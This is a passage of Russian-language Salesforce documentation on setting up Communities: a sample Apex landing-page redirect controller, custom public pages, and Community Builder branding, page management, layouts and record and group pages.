При использовании внешних поставщиков проверки подлинности и настраиваемой
начальной страницы необходимо убедиться, что пользователи заходят на нужную
начальную страницу.

Проверьте код CommunitiesLandingController на наличие правильного
параметра startURL для сообщества. CommunitiesLandingPage — это активная
начальная страница сайта для сообщества, отображаемая при вводе прямого URL-адреса
сообщества. Например, при использовании домена universaltelco.force.com
и URL-адреса сообщества customers страница CommunitiesLandingPage
отображается при вводе URL-адреса
http://universaltelco.force.com/customers.

Настраиваемая начальная страница может использоваться двумя способами.

• Обновите код CommunitiesLandingController для переадресациина новую
страницу.

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Классы Apex».

2. Щелкните ссылку «Правка» напротив CommunitiesLandingController.

3. Замените код примером ниже.

public with sharing class CommunitiesLandingController {
// Code we will invoke on page load.

public PageReference forwardToStartPage() {
String communityUrl = 'https://universaltelcom.force.com';
String customHomePage = '/apex/hello';
if (UserInfo.getUserType().equals('Guest')) {

return new PageReference(communityUrl + '/login?startURL=' +
EncodingUtil.urlEncode(customHomePage, 'UTF-8'));

}else {
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return new PageReference(communityUrl + customHomePage);
}

}
public CommunitiesLandingController() {}

}

4. Замените https://universaltelcom.force.com  URL-адресом сообщества.

5. Нажмите кнопку «Сохранить».

• При необходимости замените активную начальную страницу сайта настраиваемой страницей Visualforce.

1. Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества».

2. Щелкните ссылку «Управление» напротив имени нужного сообщества.

3. Последовательно выберите пункты «Администрирование» > «Страницы» > «Перейти к Force.com».

4. Щелкните «Правка» в разделе «Сведения о сайте».

5. Выберите нужную настраиваемую страницу Visualforce в поле «Активная начальная страница сайта».

6. Нажмите кнопку «Сохранить».

При вводе URL-адреса сообщества пользователям отображается новая активная начальная страница сайта.

СМ. ТАКЖЕ:

Использование настраиваемой начальной страницы сообщества

Добавление настраиваемых страниц, которые не требуют входа
Сообществоможетсодержатьобщедоступныестраницы, открывающиесяпользователямбез выполнениявхода. Данные
страницы могут использоваться в качестве целевых или маркетинговых.

Сообщества используют технологию Force.com Sites для определения настраиваемого домена организации и префикса
URL-адреса для каждого сообщества, созданного организацией. Чтобы выполнить дальнейшую настройку сообществ,
воспользуйтесь продуктом Force.com Sites или Site.com для создания полностью настраиваемых страниц.

Совет: Сообщества могут содержать страницы Visualforce и Site.com. По умолчанию создаваемые страницы не
требуют входа. При необходимости добавьте проверенные страницы.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

2. Последовательновыберитепункты«Администрирование» > «Страницы», найдитераздел «Расширенныенастройки»
ищелкните:

• «Перейти к Force.com» для создания страниц, которые не требуют входа, или редактирования стандартных
страниц ошибок.

• «Перейти к Site.com Studio» для открытия Site.com Studio, позволяющего создавать общедоступныефирменные
страницы. (При необходимости создайте проверенные страницы, требующие входа.)
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3. Опубликуйте сайт Site.com для предоставления пользователям доступа к общедоступной странице, созданной
посредством Site.com Studio.

Настройка шаблонов посредством конструктора сообществ

Общие сведения о конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструктор сообществ поддерживает шаблоны сообщества для самообслуживания, а
также позволяет пользователям создавать, оформлять и публиковать настраиваемое
сообщество, гарантируя его великолепный внешний вид на любом мобильном
устройстве! Пользователи могут быстро создавать сообщество на основе выбранного
шаблона и оформлять его страницы в соответствии с фирменным стилем компании.

Ниже перечислены действия, поддерживаемые конструктором сообществ.

• Быстрое оформление сообщества в соответствии с фирменным стилем компании.

• Редактирование страниц и компонентов сообщества посредством конструктора
сообществ для настройки их внешнего вида и содержимого.

• Предварительныйпросмотрсообществадляпроверкиправильностиегоотображения
на разных устройствах.

• Публикация внесенных изменений для предоставления доступа всем пользователям сообщества.

• Применение обновленийшаблона к сообществу по мере их доступности.

Конструктор сообществ поддерживает все предварительно настроенные шаблоны.

Прим.: Пользователи могут не использовать предварительно настроенные шаблоны, но могут создавать
настраиваемые сообщества в среде Site.com Studio. В этом случае конструктор сообществ не может использоваться
для применения фирменного стиля.

Чтобы опробовать другойшаблон, откройте страницу «Управление сообществом» и измените свой выборшаблона. Не
волнуйтесь! Принеобходимостипервыйвыбранныйшаблонможетбытьбыстровосстановлен. Простозадайтеначальной
странице исходный URL-адрес в разделе «Конфигурация сайта» среды Site.com Studio.

Некоторые ограничения
• Конструктор сообществ поддерживает фирменный стиль для сайтов, созданных путем использования одного из

предварительно настроенныхшаблонов.

СМ. ТАКЖЕ:

Навигация по конструктору сообществ

Управление общими параметрами сообщества в конструкторе сообществ
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Навигация по конструктору сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

Конструктор сообществ позволяет пользователям быстро создавать и оформлять
настраиваемое сообщество в соответствии с фирменным стилем организации.

Прим.: Конструктор сообществ поддерживает фирменный стиль только для
сообществ, которые быи созданы с помощью одного из шаблонов конструктора
сообществ.

На странице «Управление сообществом» откройте меню «Управление сообществом» в
верхнем колонтитуле и выберите пунктПерейти к конструктору сообществ, чтобы
добавить товарный знак и настроить сообщество. Кроме того, доступ к конструктору
сообществ можно получить со страницы «Все сообщества» меню «Настройка», нажав
кнопкуКонструктор рядом с именем сообщества.

В конструкторе сообществ можно осуществлять следующие действия.

• Устанавливатьфирменный знак сообщества в соответствии со стилем организации
(1).

• Редактироватьстраницысообществавредакторестраницдлядобавления, обновления
или удаления компонентов страницы (2).

• Управлять, создавать и удалять страницы сообщества в диспетчере страниц (3).

• Принимать обновления для шаблона сообщества и редактировать настройки
сообщества (4).

• Открытие нужной страницы сообщества посредством ссылок и элементов меню навигации (5).

• Использование меню «Сообщества» (6) для:

– Доступ к странице «Управление сообществом» для управления аналитикой, входом, регистрацией, репутацией,
темами и другими параметрами сообщества.

– Открытие Site.com Studio для добавления расширенных настроек сообщества.

• Просмотр внешнего вида сообщества на разных устройствах (7).

• Предварительный просмотр сообщества в новом окне обозревателя (8).

• Публикация внесенных изменений для предоставления доступа к обновлениям всем пользователям сообщества (9).
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СМ. ТАКЖЕ:

Общие сведения о конструкторе сообществ

Управление общими параметрами сообщества в конструкторе сообществ

Оформление сообщества в фирменном стиле посредством конструктора
сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

Рекомендуем использовать расширенный редактор фирменного стиля конструктора
сообществ для эффективного применения цвета и стиля к сообществу. Чтобы выбрать
цветовуюсхему, воспользуйтесь палитрой, поддерживающейширокий выборцветных
текстовых элементов для индивидуализации сообщества. Система позволяет идеально
точно подбирать цвета путем загрузки собственного логотипа для автоматического
создания настраиваемой палитры.

Каждыйшаблон содержит предопределенные стили для управления внешним видом
страниц. Данныестилипозволяютбыстронастраивать сообщество; принеобходимости
выполнитедополнительнуюнастройкустилейвсоответствиистекущимитребованиями.
Чтобы оформить страницы созданного сообщества, воспользуйтесь редактором
фирменного стиля конструктора сообществ.

Нижеперечисленыдействия, поддерживаемыеконструкторомсообществ (в зависимости
от выбранного шаблона).

• Примените соответствующую цветовую схему посредством палитры.

• Выберите цвета для текста, границ и кнопок.

• Загрузите собственный логотип компании для создания настраиваемой палитры на
основе его основных цветов.

• При необходимости сохраните или удалите собственную палитру.
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• Выберите семейство шрифтов, стиль и начертание.

• Измените цвет фона верхнего колонтитула и страницы, семейство шрифтов, размер шрифта и цвет шрифта.

• Используйте настраиваемых CSS для применения собственных стилей

Прим.: Доступныепараметрыфирменногостиляопределяютсяиспользуемымшаблономивыбраннойстраницей.

Призагрузке собственногологотипавредакторфирменногостиляконструкторсообществизвлекает егоцвета вфоновом
режимеисоздает собственнуюпалитрунаихоснове. Чтобыизменитьпредложенныйцвет, щелкнитепалитруивыберите
нужный цвет путем смещения ползунка или ввода шестнадцатеричного значения.

Чтобы оформить сообщество в фирменном стиле, выполните указанные ниже действия.

1. Выберите нужную страницу из меню «Страница» на панели инструментов.

2. Определите стили.

• Чтобы задать цветовую гамму, используемую на всем сайте, выберите нужную палитру цветов.

• Чтобызадатьконкретныйцвет, воспользуйтесьселекторомцветаиливведитесоответствующеешестнадцатеричное
значение.

• Чтобы задать изображение, щелкните область изображения и загрузите нужное изображение.

• Чтобызадать тип, размерилиначертаниешрифта, воспользуйтесь соответствующимраскрывающимся списком.

Внесенные изменения сохраняются автоматически и мгновенно отображаются на холсте страницы.

Вкачестве варианта, нажмите напанелиинструментовредакторафирменногостилядляиспользованиясобственных
стилей CSS. Рекомендуется использовать CUSS обоснованно и только при необходимости, поскольку будущие выпуски
компонентов шаблона могут не поддерживать все настройки CUSS.

СМ. ТАКЖЕ:

Общие сведения о конструкторе сообществ

Предварительный просмотр сообщества посредством конструктора сообществ
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Управление страницами сообщества в конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки или
публикации сообщества:
• «Создание сообществ и

управление ими»

Диспетчер страниц сосредотачивает в себе все возможности работы со страницами, от
создания до удаления, а также все промежуточные операции.

Прим.: Даннаяфункциядоступна в версиях Winter и Spring ’16 шаблонов Koa, Kokua
и Napili, а также версией Spring ’16 шаблона Aloha.

В диспетчере страниц (1) можно выполнять следующие действия:

• Создание настраиваемых страниц (2).

• Удаление страниц (3).

• Выбор страницы (4) для редактирования ее свойств (5).

• Установка активной страницы (5).

• Создание и управление альтернативными вариантами выбранной страницы (6).
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Создание настраиваемых страниц посредством конструктора сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания страниц в
конструкторе сообществ:
• «Создание сообществ и

управление ими»

Расширьте шаблон своего сообщества путем создания настраиваемых страниц и
добавления содержимого в соответствии с потребностями компании. Вшаблоне Napili
такжеможносоздаватьнастраиваемыестраницысведенийозаписи, списковисвязанных
списков, чтобы максимально эффективно использовать данные Salesforce.

Прим.: Даннаяфункциядоступна в версиях Winter и Spring ’16 шаблонов Koa, Kokua
и Napili, а также версией Spring ’16 шаблона Aloha.

1.
В конструкторе сообществ нажмите значок на левой боковой панели для
отображения диспетчера страниц.

2. Нажмите на панели инструментов.

3. Для создания:

• пустой стандартной страницы, основанной на макете или одной из страниц
шаблонов, нажмите«Создатьстраницу». Например, выберитешаблонначальной
страницыинастройте его в соответствии с текущими требованиями. Присвойте
странице уникальное имя и укажите статическую часть URL-адреса страницы.

• страницы сведений о записи, списков или связанных списков, относящейся к
одному из объектов Salesforce, нажмите «Создать страницу объектов» (только
в Napili). Выберите объект, который должен быть связан со страницей.

4. Нажмите кнопку «Создать».
Настраиваемыестандартныестраницынаосновемакетаотображаютсявразделе «Моистраницы» диспетчерастраниц.
Страницы на основе страницы-шаблона по умолчанию отображаются в разделе «Варианты страницы».

Настраиваемые страницы объекта отображаются на страницах объектов Salesforce.
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5. Откройте стандартнуюстраницу, нажав «Редактировать»на панелиинструментов, или откройте страницу объекта,

нажав  > Редактировать в разделе «Варианты страницы».

6. Добавьте и настройте компоненты страницы.

7. По завершении откройте сообщество для предварительного просмотра и выполните его публикацию.

Совет:

• Раздел «Вариантыстраницы» позволяетбыстросоздать альтернативныеверсиивыбраннойстраницы. Например,
можно создать три различные страницы «Сведения о вопросе» для тестирования различных макетов и стилей.
Новые страницы основываются на странице-шаблоне по умолчанию (в данном случае, на странице «Сведения
о вопросе» шаблона Napili). Можно выбрать несколько различных макетов. Для создания варианта страницы

нажмите в разделе «Варианты страницы».

• Рекомендуем использовать компонент «Меню навигации» для создания настраиваемых узлов навигации для
новых страниц. Дополнительную информацию ошаблонах и компонентах см. в документе «Использование
шаблонов для создания сообществ».

Установка активных страниц для сообщества в конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки или
публикации сообщества:
• «Создание сообществ и

управление ими»

Каждойцелиможет соответствоватьнескольконастраиваемых страниц, но толькоодна
страницасообществаможетбыть активнойвданныймоментвремени. Например, можно
создать три различные страницы «Сведения о вопросе» для тестирования различных
макетов и стилей. При выборе предпочтительной страницы «Сведения о вопросе»
автоматическиотключаетсястраница «Сведенияовопросе», установленнаяпоумолчанию
и определенная в шаблоне.

Прим.: Даннаяфункциядоступна в версиях Winter и Spring ’16 шаблонов Koa, Kokua
и Napili, а также версией Spring ’16 шаблона Aloha.

1.
В конструкторе сообществ нажмите значок на левой боковой панели для
отображения диспетчера страниц.

2. Выберите страницу, которую требуется обновить.
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3. Выберите предпочтительную активную страницу.
В сообществе доступна только страница, которая выбрана в раскрывающемся списке «Активная страница».

4. Просмотрите внесенные изменения и нажмите кнопку для публикации изменений в сообществе.

Неактивные страницы могут использоваться в сообществе до момента их удаления.

Свойства и типы страницы в конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Используйте диспетчер страниц для просмотра и редактирования различных страниц
сообщества.

Типы страниц (1)
Страницы сообщества были сгруппированы по типу в диспетчере страниц.

Мои страницы
Созданные настраиваемые стандартные страницы. (Настраиваемые страницы объектов отображаются на страницах
объектов Salesforce.)

СтраницыНазвание шаблона*
*Napili, Koa, Kokua или Aloha

Страницы по умолчанию на основе шаблона сообщества.

Страницы объектов Salesforce
Страницы объектов в сообществе, которые содержат страницы сведений о записях объекта, списков и связанных
списков.

Общие страницы записей
Страницы сведений о записях объекта, списков и связанных списков по умолчаниюна основе толькошаблона Napili.
Эти общие страницы используются для отображения сведений о записи объекта Salesforce при отсутствии
настраиваемых страниц объектов.

Страницы входа
Страницы входа по умолчанию на основе шаблона сообщества.
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Свойства страниц (2)
Свойства, доступные для каждой страницы, зависят от выбранного типа страницы.

Активная страница
Позволяет установитьактивнуюстраницу, доступнуювсообществе, присозданиинесколькихнастраиваемыхстраниц
для одной цели. Например, при создании второй страницы «Сведения об обращении» и ее активации страница
«Сведения об обращении» по умолчанию, определенная в шаблоне, деактивируется.

Имя
Редактируемое имя страницы, отображаемое в конструкторе сообществ.

Заголовок
Редактируемый заголовок страницы, отображаемый на вкладке или заголовке окна обозревателя. Используется для
закладок на странице и отображается в результатах поисковой подсистемы.

Описание
Используется для оптимизации поисковых систем и отображается в результатах поисковой подсистемы. Доступно
для страниц-шаблонов «Служба поддержки», «Ошибка», «Начальная» и «Каталог разделов», а также всех страниц,
перечисленных в разделах «Мои страницы» и «Страницы входа».

URL-адрес
URL-адрес страницы. Редактируется только на стандартных настраиваемых страницах.

Базовый URL-адрес
Позволяет изменять URL-адреса одновременно для всех страниц (сведения о записи, список и связанный список),
связанных с объектом. Повышает согласованность, обеспечивая общийпрефикс URL-адреса все страницамобъектов.
Редактируется только на настраиваемых страницах объектов.

Редактирование страниц и компонентов сообщества в конструкторе
сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки или
публикации сообщества:
• «Создание сообществ и

управление ими»

Можно добавлять новые компоненты на страницы сообщества или редактировать
свойства существующих компонентов для настройки каждой страниц в соответствии с
требованиями.

Прим.: Компоненты перетаскивания доступны в версиях Winter и Spring ’16
шаблонов Koa, Kokua и Napili, а также в версии Spring ’16 шаблона Aloha.

Придобавлениикомпонентовнановуюнастраиваемуюстраницутщательнопродумайте
компоновку страницы, исходя из поставленных целей.

1.
В конструкторе сообществ нажмите значок на левой боковой панели для
отображения редактора страниц.

2. Выберите нужную страницу из меню «Страница» на панели инструментов.
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Навкладке «Компоненты Lightning» содержитсясписоккомпонентов, которыеподдерживаютсявыбраннойстраницей.
Например, компонент «Сведения о профиле пользователя» не может быть добавлен на начальную страницу.

3. Перетяните необходимый компонент со вкладки «Компоненты Lightning» в редактируемую область страницы.

4. Для редактирования свойств компонента на странице выберите его на основном холсте страницы или на вкладке
«Структура страницы».
После выбора компонента конструктор сообществ выделит компонент синей рамкой и отобразит его свойства в
редакторе свойств с правой стороны.

5. Измените компонент при необходимости.

Пример: Ниже приведен пример конфигурации компонента «Заголовок» (1) на начальной странице со списком
поддерживаемых компонентов (2) и свойств (3) Lightning.

Совет: Кроме того, пользователи могут создавать настраиваемые компоненты Lightning и использовать их на
страницахсообщества. Дополнительныесведенияосозданиинастраиваемыхкомпонентов Lightningиихвключении
для конструктора сообществ см. в Руководстве разработчика компонентов Lightning.
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Изменение макета страницы в конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки или
публикации сообщества:
• «Создание сообществ и

управление ими»

Быстроменяйтевидстраницвашегосообществапутемпереключениямеждуразличными
макетами. На консоли разработчика можно даже создавать собственныенастраиваемые
макеты и импортировать их для использования в сообществе.

Прим.: Даннаяфункциядоступна в версиях Winter и Spring ’16 шаблонов Koa, Kokua
и Napili, а также версией Spring ’16 шаблона Aloha.

1.
В конструкторе сообществ нажмите значок на левой боковой панели для
отображения редактора страниц.

2. Выберите нужную страницу из меню «Страница» на панели инструментов.

3. Нажмите «Изменить макет» в редакторе свойств.

4. Выберите новый макет. После добавления настраиваемый макет будет доступен на вкладке «Настраиваемый».
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5. Щелкните «Изменить».
Еслиструктурановогомакетаотличаетсяот текущегомакета, некоторыеобластинебудут видны. Однако, этиобласти
будут доступны — можно переключиться на другой макет в любое время.

Прим.: Приизменениимакета страницышаблонапоумолчаниюединственныйспособвосстановитьисходный
макет — нажать «Отменить».

Дополнительную информацию о настраиваемых макетах см. в Руководстве разработчика компонентов Lightning.

Добавление разметки в <верхний колонтитул> страницы для настройки
сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки или
публикации сообщества:
• «Создание сообществ и

управление ими»

Добавляйте настраиваемуюаналитику, улучшайте результаты оптимизациипоисковых
системимногоедругоепутемдобавленияразметкина страницу <head> в конструкторе
сообщества.

Прим.: Даннаяфункциядоступна в версиях Winter и Spring ’16 шаблонов Koa, Kokua
и Napili, а также версией Spring ’16 шаблона Aloha.

Например, можно настроить страницы сообщества в соответствии с текущими
потребностями путем добавления:

• настраиваемого кода аналитики, например Google Analytics™;

• метатегов оптимизации поисковых систем, которые доступны только поисковым
подсистемам;

• ссылок на внешние файлы JavaScript и сторонние библиотеки;

• настраиваемых блоков JavaScript ;

• значка сайта или значка веб-страницы.

1.
Система В конструкторе сообществ нажмите на левой боковой панели и
выберите «Расширенные»..

3536

Добавление разметки в <верхний колонтитул> страницы для
настройки сообщества

Настройка и управление сообществами Salesforce

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/


2. Нажмите «Редактировать разметку верхнего колонтитула».

3. Введите требуемый код HTML или JavaScript.

4. Сохраните внесенные изменения.

При добавлении настраиваемой разметки в <верхний колонтитул> каждой страницы добавляется код.

Пример: Чтобы включить значок сайта на страницы сообщества, в этом примере добавлен HTML-код.
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Удаление страницы сообщества в конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки или
публикации сообщества:
• «Создание сообществ и

управление ими»

Пользователи могут беспрепятственно удалять ненужные страницы сообщества путем
их удаления из диспетчера страниц в конструкторе сообществ.

Пользователи могут удалять только неактивные страницы сообщества. Пользователи
не могут удалять страницу объекта (сведений о данных, списка или связанного списка),
которая является единственной страницей, связанной с выбраннымобъектом Salesforce.
При наличии нескольких страниц объекта для одного объекта удалению подлежат
только неактивные страницы.

1.
В конструкторе сообществ нажмите значок на левой боковой панели для
отображения диспетчера страниц.

2. Выберите страницу, которую нужно удалить.

3. Нажмите «Удалить» на панели инструментов или  > Редактировать в разделе «Варианты страницы».
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Совместное использование большего количества данных объектов
Salesforce в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

Napili поддерживает совместное использование данных записей для организаций,
обращений, контактов, задач, событий и настраиваемых объектов с минимальной
конфигурацией. Данные записейиспользуютполномочияпользователейпосредством
лицензий, профилей, наборов полномочий и правил общего доступа.

Прим.: Даннаяфункциональнаявозможностьдоступнав Winter ’16 иболеепоздних
версиях шаблона Napili.

• Создайте список записей и добавьте ссылку на него.

• Отображение сведений о записи в сообществе с помощью стандартной страницы
«Сведения о записи» или создание настраиваемой страницы.

Аналогичным образом можно добавлять группы в сообщество.

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Публикация списка записей в сообществе

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание и управление

сообществами»

Пользователи могут создавать списковые представления записей для организаций,
обращений, контактов и настраиваемых объектов, а также добавлять на них ссылки
посредством меню навигациишаблона Napili. Рекомендуем использовать стандартный
или настраиваемый макет страницы для отображения списка записей.

Прим.: This functionality is available in the Winter ’16 and later versions of the Napili template.

1. Перетащите компонент «Меню навигации» в конструкторе сообществ для его
добавленияна соответствующуюстраницушаблона. Рекомендуемдобавитьданный
компонент на начальную страницу.

2. Создайте элемент меню навигации, указывающий на поддерживаемый объект
Salesforce. Внастоящее времяшаблон Napili поддерживает организации, обращения,
контакты и настраиваемые объекты.
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3. Опубликуйте внесенные изменения.

Прим.: Еслисообществоявляетсяактивным, тоизмененияэлементовменюнавигациинемедленноотображаются
участникам сообщества.

Готово! Данный алгоритм создает элемент меню навигации, ссылающийся на список записей выбранного объекта. Как
правило, данные извлекаются из системы Salesforce и отображаются посредством общей страницы «Список записей».
Данная страницаподдерживаетсяшаблоном Napili ииспользует компонент Lightning поимени «Списковоепредставление
начальной страницы записи» для отображения данных в соответствующем макете.

Прим.: Общая страница «Список записей» использует стандартныймакет спискового представления для объектов
без назначенной предопределенной или настраиваемой страницы спискового представления. Например, при
создании элемента менюнавигации для другого объекта Salesforce используется такая же страница. Приизменении
страницы «Список записей» убедитесь, что учитываются все затронутые объекты.

Пример: Страница спискового представления для настраиваемого объекта называется «Специальные продукты».

• Создание элемента меню навигации является самым простым способом добавления ссылки на список записей для
объекта. Чтобывоспользоватьсянастраиваемойстраницейсписковогопредставлениядляобъекта, создайте страницу
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сообщества посредством конструктора сообществ. Выберите стандартную страницу, содержащуюодностолбцовый
макет. Добавьте компонент «Списковоепредставлениеначальнойстраницызаписи» настраницу, настройтесвойства
компонента для добавления ссылкина объект иопубликуйте страницу. Чтобыдобавить ссылкуна страницу, создайте
настраиваемый элемент меню навигации и воспользуйтесь внутренним URL-адресом страницы.

• Пользователи могут просматривать только записи, доступные им посредством лицензий, профилей, полномочий и
правил общего доступа (также как в системе Salesforce). Пользователи с полномочием «Создание» для объекта могут
создавать записи на странице спискового представления. Возможность создания записей на данной странице не
поддерживается мобильными устройствами.

• Элемент меню навигации может быть скрыт от пользователей-гостей для блокировки доступа к связанной странице
спискового представления записей.

• При выборе записи на данной странице сведения о записи отображаются посредством макета на общей странице
«Сведенияо записи». Присозданиинастраиваемойстраницысведенийозаписииееназначенииобъектуиспользуется
данная страница.

• Выбор записи в списковом представлении инициирует отображение сведений о записи, которые отображаются
посредством страницы «Сведения о записи», поддерживаемойшаблоном Napili.

• Страница «Списокзаписей» икомпонент «Списковоепредставлениеначальнойстраницызаписи» неподдерживаются
шаблонами Koa и Kokua.

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Отображение сведений о записи в сообществе

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание и управление

сообществами»

Пользователи могут просматривать сведения о записи посредством общей страницы
«Сведения о записи» или создавать настраиваемые страницы сведений о записях.

Прим.: This functionality is available in the Winter ’16 and later versions of the Napili template.

Шаблон Napili поддерживает страницусведенийозаписи, котораяможетиспользоваться
без дополнительных настроек. Данная общая страница («Сведения о записи»)
используется всемиобъектами сообщества без предварительноназначенной страницы
сведенийо записидляотображенияданных записи. Например, пользовательоткрывает
страницу сведенийобобращении, использующуюмакет предварительноназначенной
страницы сведений об обращении, и выбирает контакт из связанных записей. При
отсутствии настраиваемой страницы сведений о записи для контактов сведения о
контактахотображаютсяпосредствомобщейстраницы «Сведенияозаписи». Какправило,
страница «Сведения о записи» использует компоненты Lightning по имени «Заголовок
записи» и «Сведения о записи» для отображения данных записи.

• «Заголовок записи»: данный компонент отображает имя записи и основные
особенности записи наряду с кнопками для редактирования и удаления записи.

• «Сведенияозаписи»: данныйкомпонентотображаетвсе сведенияозаписи, включая
связанные записи и ленту записи. Кроме того, данный компонент позволяет
пользователямсоздавать связанные записиипубликовать сообщениявленту записи.

При необходимости создайте настраиваемые страницы сведений о записях для организаций, контактов, обращений,
задач, событий и настраиваемых объектов.

1. Создайте страницу сведений о данных в конструкторе сообществ и выберите поддерживаемый объект.
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2. Добавьте компоненты «Заголовок записи» и «Сведения о записи» на страницу и настройте их свойства посредством
редактора свойств справа.

3. Щелкните значок для доступа к разделу «Управление страницами» в параметрах конструктора сообществ и
выберите настраиваемую страницу в качестве активной для объекта.

4. Опубликуйте внесенные изменения.

Прим.: Еслисообществоявляетсяактивным, тоизмененияэлементовменюнавигациинемедленноотображаются
участникам сообщества.

Пример: Страница сведений о записи для настраиваемого объекта с компонентами «Заголовок записи» (1) и
«Сведения о записи» (2).

• Некоторые объекты поддерживают предварительно назначенные активные страницы сведений о записях для
отображения данных записи (например, обращения). Чтобы просмотреть доступные страницы и назначения для
каждого объекта, воспользуйтесь разделом «Управление страницами» в параметрах конструктора сообществ.

• Объекты без предварительно назначенных страниц сведений о записях используют общую страницу «Сведения о
записи». При изменении конфигурации или макета страницы «Сведения о записи» убедитесь, что учитываются все
объекты, использующие данный макет страницы.

• Пользователи без необходимой лицензии, профиля или полномочия не могут просматривать данные записи.

• Пользователи с необходимыми полномочиями могут создавать записи из связанных списков, а также редактировать
и удалять записи из заголовков. Данные действия не поддерживаются мобильными устройствами.

• Макеты страниц для каждого объекта в системе Salesforce определяютполя для отображения в компоненте «Сведения
о записи», тогда как поля в макете панели основных показателей определяют содержимое компонента «Заголовок
записи». Данная функция также поддерживает типы записей.

• Публикациясообщенийвлентах записейсообществдоступнапользователямтолькопослевключенияихподдержки
в системе Salesforce.
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• Страница «Сведенияо записи», компонент «Заголовок записи» икомпонент «Сведенияо записи» неподдерживаются
шаблонами Koa и Kokua.

СМ. ТАКЖЕ:

salesforce_communities_implementation.pdf

Добавление групп в сообщество

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

Требуется больше совместных сообществ? Разрешите участникам сообщества и
пользователям-гостям находить группы в сообществе Napili и присоединяться к ним.
Воспользуйтесь готовым макетом для групп в Napili или создайте собственную
настраиваемуюверсиюстраницысведенийогруппеспомощьюотдельныхкомпонентов.

Прим.: Даннаяфункциональнаявозможностьдоступнав Winter ’16 иболеепоздних
версиях шаблона Napili.

1. Для включения групп в сообществе добавьте группы в меню навигации по
сообществу.

При этом автоматически отображается пункт меню, которые ссылается на список
групп в сообществе. При предоставлении общего доступа к пункту меню даже
пользователи-гости, не вошедшие в сообщество, могут просматривать список
активных общедоступных групп.

2. Опубликуйте сообщество.

3. Принеобходимостинастройтемакетпубликатора группыдлявключениядействия «Добавитьучастника». Этодействие
позволяетответственнымименеджерам группдобавлять участников в группуиотсутствует в списке действийв группе
по умолчанию.
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При нажатии имени активной группы в сообществе пользователи перенаправляются на страницу сведений о группе.
Еслиэта группаявляетсяличной, пользователямбудетпредложеновыполнитьвход. Тольковыполнившиевходучастники
группы могут просматривать содержимое личной группы.

Ниже перечислены некоторые рекомендации.

